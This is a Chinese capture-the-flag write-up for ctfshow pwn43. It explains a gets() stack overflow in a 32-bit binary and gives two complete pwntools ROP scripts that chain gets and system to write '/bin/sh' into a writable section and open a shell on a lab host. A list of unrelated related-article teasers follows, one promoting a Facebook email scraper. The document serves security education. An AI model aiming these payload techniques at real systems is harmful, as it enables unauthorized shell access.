ctfshow pwn43

1. 分析程序

首先检查程序相关保护,发现程序为32位且只开启了一个NX保护

checksec pwn

使用IDA进行逆向分析代码,查看漏洞触发点:

在main函数中,有一个ctfshow函数,这里我们跟进ctfshow()

        发现存在一个gets()函数,此函数写法存在漏洞,我们可以输入任意长度的字符串,进而栈溢出。这里需要达到溢出的地址为offect=0x6c+4

  • 当程序执行到 gets() 时:
    • 程序会阻塞等待用户输入
    • 用户通过键盘(或输入重定向)输入数据
    • 它可以无限读取,不会判断上限,可以包含空格,以回车结束读取。
    • 输入的数据会被原样复制buf 指向的内存中

        同时我们注意到,程序存在一个函数hint(),但是hint()函数只有system系统函数,没有了“/bin/sh”等敏感字符串,这时候我们就要想办法写入“/bin/sh”

        先运行程序,查看程序可写段,发现在0x804b000-0x804c000段存在读写权限(rw),这时我们可以通过get将恶意代码写入这个地址段上,然后getshell。

获取system以及get函数的地址:0x08048450、0x08048420

objdump -d -t .plt pwn | grep systemobjdump -d -t .plt pwn | grep gets

        buffer地址选择,这里我们可以直接找到一个参数buf2,我们也可以直接写在地址上,只要写入的范围不超过0x804b000-0x804c000即可,这里我看到有个博主的博客有人提问,为什么博主将buf2的地址设置为0x804c000-16,另外一个师傅说大于8可以,小于8就不行了。原因就是写入范围不能超过0x804b000-0x804c000

2. 漏洞编写

首先确定基本信息

from pwn import *
context(arch="i386",os="linux")
io = remote("192.168.79.135",10001)

        接着构造payload信息,需要计算偏移量,system函数的地址、相关占位符、以及sh的地址。这里我们可以构造两个payload

poc1:

payload = cyclic(0x6c+4) + p32(gets) + p32(system) + p32(buffer) + p32(buffer)
  • p32(gets):这是 gets() 函数的地址,我们将覆盖函数返回地址为 gets() 函数的地址,这样在程序返回时会跳转到 gets() 函数执行,我们就可以利用 gets() 函数从输入中获取数据。
  • p32(system):这是 system() 函数的地址,我们将覆盖 gets() 函数的返回地址为 system() 函数的地址,这样在 gets() 函数执行完毕后,程序会继续执行 system() 函数。

poc2:

payload = cyclic(0x6c+4) + p32(gets) + p32(pop_ebx) + p32(buffer) + p32(system)
+ 'aaaa' + p32(buffer)
  • cyclic(0x6c+4):通常是用来填充缓冲区和覆盖返回地址的填充数据,0x6c+4即偏移量,保证覆盖到返回地址。
  • p32(gets):将 gets 函数地址压入栈,准备调用 gets(buf2),即让程序从标准输入读入数据到缓冲区 buf2
  • p32(pop_ebx):这里的 pop_ebx 是一个地址,指向一条 pop ebx; ret 或类似指令的片段(gadget)。这条gadgets用来弹出栈中的一个值到ebx寄存器,并返回。
  • p32(buf2):栈上的参数,给 pop_ebx 弹出到 ebx 中,通常是 gets 的参数,即 gets(buf2)
  • p32(system):调用 system 函数地址,目的是执行 system(buf2),即执行刚刚通过 gets 输入的命令。
  • 'aaaa':填充参数,可能是为了栈对齐或占位。
  • p32(buf2):作为 system 的参数。

"/bin/sh"与"sh"区别

system("/bin/sh") :

  1. 在Linux和类Unix系统中, /bin/sh 通常是一个符号链接,指向系统默认的shell程序(如Bash或Shell)。因此,使用 system("/bin/sh") 会启动指定的shell程序并在新的子进程中执行
  2. 这种方式可以确保使用系统默认的shell程序执行命令,因为 /bin/sh 链接通常指向默认shell的可执行文件

system("sh"):

  1. 使用 system("sh") 会直接启动一个名为 sh 的shell程序,并在新的子进程中执行
  2. 这种方式假设系统的环境变量 $PATH 已经配置了能够找到 sh 可执行文件的路径,否则可能会导致找不到 sh 而执行失败

完整的payload如下:

payload1:

from pwn import *
p = remote('192.168.79.135', 10001)
system_addr = 0x8048450
buf2_addr = 0x804B060+10
gets_addr = 0x8048420
pop_ebx = 0x8048409
payload = b'a'*(0x6c+4) + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr)
print(payload)
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()

payload2:

from pwn import *
p = remote('192.168.79.135', 10001)
system_addr = 0x8048450
buf2_addr = 0x804B000+10
gets_addr = 0x8048420
pop_ebx = 0x8048409
payload = b'a'*(0x6C+4) + p32(gets_addr) + p32(pop_ebx) + p32(buf2_addr) +p32(system_addr) + b'aaaa' + p32(buf2_addr)
print(payload)
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()

3. 漏洞验证

        服务端启动相关程序,挂载至本地的10001端口上:sudo socat TCP4-LISTEN:10001,fork EXEC:./pwn

        攻击端运行编写好的程序,可以看到获取了服务端的权限

4. 总结

4.1. 利用poc1

为什么 "/bin/sh" 要第二次发送?

  • 第一次发送 payload:覆盖栈,调用 gets(buf2)
  • 第二次发送 "/bin/sh"gets() 会等待输入,写入 buf2,使其成为 system() 的参数。

为什么 buf2 能同时作为 gets()system() 的参数?

  • gets(buf2)
    • buf2gets() 的参数,表示输入写入的目标地址。
    • 用户输入 "/bin/sh" 后,buf2 存储了该字符串。
  • system(buf2)
    • 此时 buf2 已经是 "/bin/sh" 的地址,因此 system() 可以正确执行。

关键点

  • buf2 是一个 固定可写地址(如 .bss 段),两次使用的是同一地址的不同用途:
    • 第一次:gets() 写入数据的目标地址。
    • 第二次:system() 读取字符串的地址。

4.2. 利用poc2

pop ebx 是必须的吗?

  • 这里用于清理栈(弹出 buf2),避免干扰 system() 的参数读取。
  • 如果去掉 pop ebx,栈会错位,导致 system() 读取错误参数。

为什么需要 pop ebx

  • gets() 的调用约定
    cdecl 约定下,gets() 的参数由调用者清理(即 add esp, 4)。
    但攻击者无法直接执行代码,只能通过 ROP 链模拟栈平衡。
  • pop ebx 的作用
    弹出 gets() 的参数 buf2,使栈指针 ESP 指向 system() 的返回地址,确保 system() 读取正确的参数。

步骤

栈变化

关键操作

发送 payload

覆盖返回地址为 gets()

劫持控制流

发送 "/bin/sh"

写入 buf2

准备 system()

参数

gets()

返回

跳转到 pop ebx

清理栈

pop ebx

弹出 buf2

调整栈指针

system()

调用

读取 buf2

作为参数

执行 system("/bin/sh")

假设目标函数的栈帧如下:

发送 payload后,栈被覆盖

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/90291.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/90291.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

内网IM:BeeWorks私有化部署的安全通讯解决方案

在当今数字化办公环境中,内网IM已成为企业保障数据安全的核心工具。BeeWorks作为一款支持私有化部署的内网IM解决方案,能够帮助企业构建完全自主可控的通讯系统。无论是政府机构、金融机构,还是对数据安全要求极高的企业,BeeWorks…

SHA512算法详解

SHA-512 是 SHA-2(Secure Hash Algorithm 2)系列密码散列函数的重要成员,由美国国家安全局(NSA)设计,2001 年被纳入 NIST(美国国家标准与技术研究院)的 FIPS 180 标准,后…

通过python管理vcenter中的虚拟机

通过python管理vcenter中的虚拟机因业务需要,需在夜间关闭虚拟机,随通过计划任务远程管理开机、关机虚拟机一、通过docker配置python3.9环境 Dockerfile FROM python:3.9 RUN pip3 install pyvmomi7.0.0创建自定义镜像 docker build -t pyvmomi7:v1 .二…

AWS S3 生命周期管理最佳实践:IoT Core 日志的智能存储优化

在现代物联网应用中,设备日志数据的管理是一个重要挑战。随着设备数量的增长,日志数据量呈指数级增长,如何有效管理这些数据的存储成本成为关键问题。本文将分享如何为 AWS IoT Core 日志实施智能生命周期管理策略。 背景与挑战 IoT 设备产生的日志数据具有以下特点: 数据…

18.TaskExecutor获取ResourceManagerGateway

TaskExecutor获取ResourceManagerGatewayTaskExecutor 与 ResourceManager 之间的交互机制较为复杂,核心可以拆分为三个阶段: 首次发现与注册连接建立心跳维持 本文聚焦连接建立阶段,详细分析底层 RPC 连接的实现原理。回顾:start…

kafka查看消息的具体内容 kafka-dump-log.sh

目录kafka 消息查看1. 直接查看日志文件内容步骤:2. 使用 Kafka 工具查看日志主要参数说明常用命令:输出说明:3. 注意事项kafka 消息日志文件详解我们有时候遇到这样的需求,需要查看下kafka消息的内容。 kafka 消息查看 查看 Ka…

Spring Cloud OpenFeign 常用注解_笔记

Spring Cloud OpenFeign 提供了一种声明式、模板化的HTTP客户端,可以通过简单的接口描述远程调用,而不必手动编写低级的 HTTP 客户端代码。FeignClient用法参考:FeignClient用法-笔记-CSDN博客。这里梳理Spring Cloud OpenFeign 常用注解。 1…

移动端自动化Appium框架

文章目录环境搭建JAVAAndroid SDKGenymotion模拟器环境搭建 JAVA 1、安装JDK 从官网下载所需安装包,默认安装即可。 https://www.oracle.com/cn/java/technologies/downloads/ 2、配置环境变量 设置 - 编辑系统环境变量 - 环境变量。 系统变量下新建JAVA_HOME&a…

算法第26天|贪心算法:用最少数量的箭引爆气球、无重叠区间、划分字母区间

今日总结 用最少数量的箭引爆气球 题目链接:452. 用最少数量的箭引爆气球 - 力扣(LeetCode) 代码随想录 整体思路: 1、统一度量 : 将所有区间按照左端点进行排序: 用到了二维的sort,在类中需…

最新版的electron通信规则

介绍: 以前electron require(electron/remote).fs 就能调用node中的各种api,最新版可能为了安全考虑,除了主main.js入口文件以外,其他的地方都不能调用node中的api,比如里面的各种函数,如fs,path等。这节课来教大家最新版本的electron如何进行通信。 结构: 了解通信之前…

Python爬虫实战:研究PyPLN库相关技术

1. 引言 随着全球化的发展,葡萄牙语作为世界第六大语言,其在互联网上的文本数据量不断增长。如何从海量的葡萄牙语文本中提取有价值的信息,成为自然语言处理领域的重要研究方向。 PyPLN (Python Natural Language Processing Toolkit) 是一个专门针对葡萄牙语设计的自然语言…

层次分析法代码笔记

层次分析法 一、核心 在层次分析法中,通过 算术平均法、几何平均法、特征值法 计算指标权重,再通过 一致性检验 确保判断矩阵逻辑合理,为多准则决策提供量化依据。 二、代码 (一)一致性检验(判断矩阵合理性…

[精选] 2025最新生成 SSH 密钥和 SSL 证书的标准流程(Linux/macOS/Windows系统服务器通用方案)

[精选] 2025最新生成 SSH 密钥和 SSL 证书的标准流程(Linux/macOS/Windows系统服务器通用方案) 在现代网络中,SSH(安全外壳协议)和 SSL(安全套接层协议)是保证数据传输安全和身份验证的重要技术…

开发框架安全ThinkPHPLaravelSpringBootStruts2SpringCloud复现

PHP-ThinkphpLaravelThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架综合工具:武器库-Thinkphp专检(3-6版本)如何判断是TP6框架开发的web程序,基于源码、路径、图标、基于报错可发现dex.php?xxx 在其6.0.13版本及以前/?c…

uniapp+vue3小程序点击保存图片、保存二维码

介绍 步骤1:引入必要的API 在script部分,确保引入了uni的相关API,如uni.downloadFile和uni.saveImageToPhotosAlbum。 步骤2:下载图片到本地 在toInvite函数中,使用uni.downloadFile将图片下载到本地,并获取本地路径。 步骤3:处理权限和保存逻辑 在saveToAlbum函数…

Golang中GROM多表关联跟原生SQL多表关联区别

文章目录前言一、GROM多表关联二、原生Sql多表关联前言 对比GROM多表关联和原生Sql多表关联 一、GROM多表关联 适用于返回全部数据需要逻辑外键(不会在数据库创建任何约束)适合三个表以下的关联有几张表就会查询几次 type Product struct {gorm.Model …

设计模式六:工厂模式(Factory Pattern)

概念定义一个创建对象的接口&#xff0c;但让子类决定实例化哪个类。实现示例#include <iostream> #include <memory>// 产品基类 class Product { public:virtual void use() 0;virtual ~Product() default; };// 具体产品A class ConcreteProductA : public Pr…

应用层自定义协议【序列化+反序列化】

文章目录再谈 “协议”重新理解read、write、recv、send和tcp为什么支持全双工Server.cc网络版计算机实现Socket封装&#xff08;模板方法类&#xff09;socket.hpp定制协议JsonJson安装定义一个期望的报文格式Protocol.hppParser.hppCalculator.hpp完整的处理过程Client.cc三层…

dify创建OCR工作流

实现ocr识别文件内容&#xff0c;引用dify的一个插件&#xff0c;插件名称&#xff1a;mineru 引用在线版本mineru 具体操作说明&#xff0c;参见视频&#xff1a; 第六篇&#xff1a;DifyOCR&#xff0c;扫描件最优解_哔哩哔哩_bilibili 引用本地部署mineru 上面的这种使用…

备受关注的“Facebook Email Scraper”如何操作?

Facebook Email Scraper&#xff08;脸书邮箱提取工具&#xff09;是一类用于从Facebook平台提取公开邮箱信息的工具&#xff0c;其核心功能是通过解析用户主页、群组、页面等公开内容&#xff0c;识别并提取其中包含的邮箱地址&#xff0c;为用户提供结构化的联系方式数据。这…